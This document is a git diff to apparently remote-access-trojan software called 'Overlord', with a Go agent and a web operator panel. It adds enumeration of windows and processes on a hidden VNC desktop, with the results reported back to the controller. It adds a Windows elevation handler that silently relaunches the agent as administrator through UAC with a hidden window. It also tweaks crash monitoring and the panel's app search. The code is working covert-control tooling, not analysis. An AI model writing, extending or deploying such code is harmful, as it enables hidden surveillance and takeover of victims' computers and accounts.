diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 549d1c8..ce60d77 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ } defer procCloseHandle.Call(hProc) - ret, _, _ := procWaitForSingleObject.Call(hProc, 8000) + ret, _, _ := procWaitForSingleObject.Call(hProc, 20000) if ret != 0 { + notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid)) return } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 5bdcb1b..b255b05 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -1967,3 +1967,161 @@ func minInt(a, b int) int { } return b } + +var ( + procGetWindowTextW = user32.NewProc("GetWindowTextW") + procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW") +) + +type HVNCWindowInfo struct { + HWND uintptr + Title string + X int + Y int + Width int + Height int + PID uint32 + ProcessName string + Monitor int // -1 if not on any known monitor + Visible bool +} + +func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { + hvncDesktopMu.Lock() + deskHandle := hvncDesktopHandle + hvncDesktopMu.Unlock() + if deskHandle == 0 { + return nil, nil + } + + mons := monitorList() + monInfos := make([]HVNCMonitorInfo, len(mons)) + for i, m := range mons { + monInfos[i] = HVNCMonitorInfo{ + Index: i, + Name: m.name, + X: m.rect.Min.X, + Y: m.rect.Min.Y, + Width: m.rect.Dx(), + Height: m.rect.Dy(), + Primary: m.primary, + } + } + + type rawWin struct { + hwnd uintptr + } + var windows []rawWin + + cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + windows = append(windows, rawWin{hwnd: hwnd}) + return 1 + }) + procEnumDesktopWindows.Call(deskHandle, cb, 0) + + var result []HVNCWindowInfo + for _, w := range windows { + if !isWindowVisible(w.hwnd) { + continue + } + var r rect + ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + continue + } + winW := int(r.right - r.left) + winH := int(r.bottom - r.top) + if winW <= 0 || winH <= 0 { + continue + } + + title := getWindowText(w.hwnd) + if title == "" { + continue + } + + var pid uint32 + procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid))) + + procName := "" + if pid != 0 { + procName = getProcessName(pid) + } + + winLeft := int(r.left) + winTop := int(r.top) + monIdx := -1 + bestOverlap := 0 + for i, m := range mons { + overlapLeft := maxInt(winLeft, m.rect.Min.X) + overlapTop := maxInt(winTop, m.rect.Min.Y) + overlapRight := minInt(winLeft+winW, m.rect.Max.X) + overlapBottom := minInt(winTop+winH, m.rect.Max.Y) + if overlapRight > overlapLeft && overlapBottom > overlapTop { + area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop) + if area > bestOverlap { + bestOverlap = area + monIdx = i + } + } + } + + result = append(result, HVNCWindowInfo{ + HWND: w.hwnd, + Title: title, + X: winLeft, + Y: winTop, + Width: winW, + Height: winH, + PID: pid, + ProcessName: procName, + Monitor: monIdx, + Visible: true, + }) + } + return result, monInfos +} + +type HVNCMonitorInfo struct { + Index int + Name string + X int + Y int + Width int + Height int + Primary bool +} + +func getWindowText(hwnd uintptr) string { + length, _, _ := procGetWindowTextLenW.Call(hwnd) + if length == 0 { + return "" + } + buf := make([]uint16, length+1) + procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1)) + return syscall.UTF16ToString(buf) +} + +func getProcessName(pid uint32) string { + const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid)) + if hProc == 0 { + return "" + } + defer procCloseHandle.Call(hProc) + var buf [260]uint16 + size := uint32(len(buf)) + ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call( + hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)), + ) + if ret == 0 { + return "" + } + fullPath := syscall.UTF16ToString(buf[:size]) + for i := len(fullPath) - 1; i >= 0; i-- { + if fullPath[i] == '\\' || fullPath[i] == '/' { + return fullPath[i+1:] + } + } + return fullPath +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c3a016e..f25c78a 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil + case "hvnc_window_list": + log.Printf("hvnc: window list requested") + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_window_list", nil, func() { + windows, monitors := capture.HVNCEnumWindows() + winEntries := make([]wire.HVNCWindowEntry, 0, len(windows)) + for _, w := range windows { + winEntries = append(winEntries, wire.HVNCWindowEntry{ + Title: w.Title, + X: w.X, + Y: w.Y, + Width: w.Width, + Height: w.Height, + PID: w.PID, + ProcessName: w.ProcessName, + Monitor: w.Monitor, + }) + } + monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors)) + for _, m := range monitors { + monEntries = append(monEntries, wire.HVNCMonitorEntry{ + Index: m.Index, + Name: m.Name, + X: m.X, + Y: m.Y, + Width: m.Width, + Height: m.Height, + Primary: m.Primary, + }) + } + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{ + Type: "hvnc_window_list_result", + Windows: winEntries, + Monitors: monEntries, + }) + log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) + }) + return nil + case "hvnc_browser_check": log.Printf("hvnc: browser availability check requested") sendCommandResultSafe(env, cmdID, true, "") diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go index a49a18a..c39cb8a 100644 --- a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go +++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "overlord-client/cmd/agent/mutex" agentRuntime "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" ) @@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas }) } + mutex.ReleaseGlobal() log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ diff --git a/Overlord-Client/cmd/agent/handlers/elevate_other.go b/Overlord-Client/cmd/agent/handlers/elevate_other.go index 3501c11..d24aa42 100644 --- a/Overlord-Client/cmd/agent/handlers/elevate_other.go +++ b/Overlord-Client/cmd/agent/handlers/elevate_other.go @@ -1,4 +1,4 @@ -//go:build !darwin +//go:build !darwin && !windows package handlers diff --git a/Overlord-Client/cmd/agent/handlers/elevate_windows.go b/Overlord-Client/cmd/agent/handlers/elevate_windows.go new file mode 100644 index 0000000..efa0595 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_windows.go @@ -0,0 +1,110 @@ +//go:build windows + +package handlers + +import ( + "context" + "fmt" + "log" + "os" + "strings" + "time" + "unsafe" + + "golang.org/x/sys/windows" + + "overlord-client/cmd/agent/mutex" + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +var ( + modShell32 = windows.NewLazySystemDLL("shell32.dll") + procShellExecute = modShell32.NewProc("ShellExecuteExW") +) + +const ( + _SEE_MASK_NOCLOSEPROCESS = 0x00000040 + _SEE_MASK_NOASYNC = 0x00000100 + _SW_SHOWNORMAL = 1 + _SW_HIDE = 0 +) + +type shellExecuteInfo struct { + cbSize uint32 + fMask uint32 + hwnd uintptr + lpVerb *uint16 + lpFile *uint16 + lpParameters *uint16 + lpDirectory *uint16 + nShow int32 + hInstApp uintptr + lpIDList uintptr + lpClass *uint16 + hkeyClass uintptr + dwHotKey uint32 + hIcon uintptr + hProcess uintptr +} + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + token := windows.GetCurrentProcessToken() + if token.IsElevated() { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "already running as admin", + }) + } + + exePath, err := os.Executable() + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to resolve executable path: %v", err), + }) + } + + args := strings.Join(os.Args[1:], " ") + + verb, _ := windows.UTF16PtrFromString("runas") + file, _ := windows.UTF16PtrFromString(exePath) + params, _ := windows.UTF16PtrFromString(args) + + sei := shellExecuteInfo{ + fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC, + lpVerb: verb, + lpFile: file, + lpParameters: params, + nShow: _SW_HIDE, + } + sei.cbSize = uint32(unsafe.Sizeof(sei)) + + r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei))) + if r1 == 0 { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("UAC elevation failed: %v", err), + }) + } + + mutex.ReleaseGlobal() + log.Printf("[elevate] started elevated process via UAC") + + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "elevating — new process started as admin via UAC", + }) + + time.Sleep(500 * time.Millisecond) + os.Exit(0) + return nil +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index e56bcb9..f301ce9 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct { Detail string `msgpack:"detail"` } +type HVNCWindowEntry struct { + Title string `msgpack:"title"` + X int `msgpack:"x"` + Y int `msgpack:"y"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + PID uint32 `msgpack:"pid"` + ProcessName string `msgpack:"processName"` + Monitor int `msgpack:"monitor"` +} + +type HVNCMonitorEntry struct { + Index int `msgpack:"index"` + Name string `msgpack:"name"` + X int `msgpack:"x"` + Y int `msgpack:"y"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + Primary bool `msgpack:"primary"` +} + +type HVNCWindowListResult struct { + Type string `msgpack:"type"` + Windows []HVNCWindowEntry `msgpack:"windows"` + Monitors []HVNCMonitorEntry `msgpack:"monitors"` +} + type ClipboardContent struct { Type string `msgpack:"type"` Text string `msgpack:"text"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 179a710..9268400 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; launchStatusEl.classList.add("hidden"); launchStatusEl.classList.remove("flex"); }, 15000); + } else if (step === "healthy") { + launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400"; + launchStatusLabel.textContent = `${browser}: ${detail}`; + launchStatusLabel.className = "text-emerald-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 10000); } else if (step === "launch") { launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400"; launchStatusLabel.textContent = `${browser}: ${detail}`; @@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const installedAppsGrid = document.getElementById("installedAppsGrid"); const installedAppsCount = document.getElementById("installedAppsCount"); const refreshInstalledApps = document.getElementById("refreshInstalledApps"); + const installedAppsSearch = document.getElementById("installedAppsSearch"); + const installedAppsSearchClear = document.getElementById("installedAppsSearchClear"); + const installedAppsEmpty = document.getElementById("installedAppsEmpty"); let installedAppsData = []; + let installedAppsQuery = ""; let installedAppsLoading_pending = false; @@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (installedAppsList) installedAppsList.classList.add("hidden"); if (installedAppsGrid) installedAppsGrid.innerHTML = ""; if (installedAppsCount) installedAppsCount.textContent = ""; + if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden"); sendCmd("hvnc_installed_apps", {}); } + function applyInstalledAppsFilter() { + if (!installedAppsGrid) return; + const q = installedAppsQuery; + let visible = 0; + const buttons = Array.from(installedAppsGrid.children); + + if (q) { + const prefix = []; + const contains = []; + const hidden = []; + for (const btn of buttons) { + const key = btn.dataset.search || ""; + const name = (btn.dataset.name || ""); + if (name.startsWith(q) || key.startsWith(q)) { + prefix.push(btn); + } else if (key.indexOf(q) !== -1) { + contains.push(btn); + } else { + hidden.push(btn); + } + } + for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; } + for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; } + for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; } + visible = prefix.length + contains.length; + } else { + for (const btn of buttons) { + btn.style.display = ""; + visible++; + } + } + + if (installedAppsEmpty) { + installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0)); + } + if (installedAppsSearchClear) { + installedAppsSearchClear.classList.toggle("hidden", !q); + } + } + + if (installedAppsSearch) { + installedAppsSearch.addEventListener("input", () => { + installedAppsQuery = installedAppsSearch.value.trim().toLowerCase(); + applyInstalledAppsFilter(); + }); + installedAppsSearch.addEventListener("click", (e) => e.stopPropagation()); + installedAppsSearch.addEventListener("keydown", (e) => { + if (e.key === "Escape") { + installedAppsSearch.value = ""; + installedAppsQuery = ""; + applyInstalledAppsFilter(); + } + e.stopPropagation(); + }); + } + if (installedAppsSearchClear) { + installedAppsSearchClear.addEventListener("click", (e) => { + e.stopPropagation(); + if (installedAppsSearch) installedAppsSearch.value = ""; + installedAppsQuery = ""; + applyInstalledAppsFilter(); + if (installedAppsSearch) installedAppsSearch.focus(); + }); + } + if (refreshInstalledApps) { refreshInstalledApps.addEventListener("click", (e) => { e.stopPropagation(); @@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`; if (installedAppsData.length === 0) { installedAppsGrid.innerHTML = '